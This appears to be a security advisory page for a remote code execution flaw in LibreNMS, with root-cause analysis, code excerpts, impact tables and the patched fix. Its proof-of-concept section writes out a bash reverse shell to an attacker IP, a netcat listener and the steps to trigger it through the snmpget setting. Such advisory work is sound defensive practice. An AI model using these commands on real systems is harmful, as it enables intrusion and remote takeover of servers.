Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| librenms/librenms | composer | < 26.5.0 | 26.5.0 |
Miggo AIRoot Cause AnalysisThe vulnerability is a Remote Code Execution (RCE) in LibreNMS, exploitable by an authenticated administrator. The root cause is the use of shell_exec in the AboutController::index method with a configurable path for the snmpget binary. The patch f6a6e23390e39af7c0630da8ee0fc6feb20e8cd6 confirms this by removing the shell_exec call and replacing it with a safer method to get the Net-SNMP version.
The exploitation chain involves two main steps:
SettingsController::update, to change the snmpget binary path to a malicious script./about page, which triggers the AboutController::index method. This method reads the malicious path from the configuration and executes it via shell_exec, resulting in RCE.Therefore, both App\Http\Controllers\AboutController::index and App\Http\Controllers\SettingsController::update are critical functions that would appear in a runtime profile during the exploitation of this vulnerability.
App\Http\Controllers\AboutController::indexapp/Http/Controllers/AboutController.php
App\Http\Controllers\SettingsController::updateapp/Http/Controllers/SettingsController.php
snmpgetPUT /settings/snmpgetSettingsController::update()resources/definitions/config_definitions.json"snmpget": {
"default": "/usr/bin/snmpget",
"type": "executable"
}
The sanitizePath() function in DynamicConfigItem.php:
// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
if (preg_match('/[`;#$|&\'"><(]/', $path)) {
return false;
}
return realpath($path);
}
// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
$value == $this->sanitizePath($value);
return $value !== false && is_file($value) && is_executable($value);
}
| Scenario | Description | |----------|-------------| | Insider Threat | Internal admin creates malicious file → updates config → RCE | | Privilege Escalation | Attacker with limited access → creates file → full RCE | | Supply Chain | Malicious package installs binary → admin uses it → RCE |
Create a reverse shell payload that connects back to the attacker:
ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001
bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null
Save this as /tmp/rev_shell.sh and make it executable:
chmod +x /tmp/rev_shell.sh
On your attacking machine, start a netcat listener:
nc -lvnp 9001
Login to LibreNMS web interface as administrator and navigate to:
/tmp/rev_shell.shAccess the /about endpoint to execute the malicious binary:
| Category | Level | Description | |----------|-------|-------------| | Confidentiality | HIGH | Read config files, database credentials, SSH keys | | Integrity | HIGH | Create webshells, backdoors, modify code | | Availability | HIGH | Disrupt services, delete data, stop monitoring | | Scope | CHANGED | Compromise extends beyond application to system |
Replace shell_exec() with Symfony Process component:
// BEFORE (vulnerable):
shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')
// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();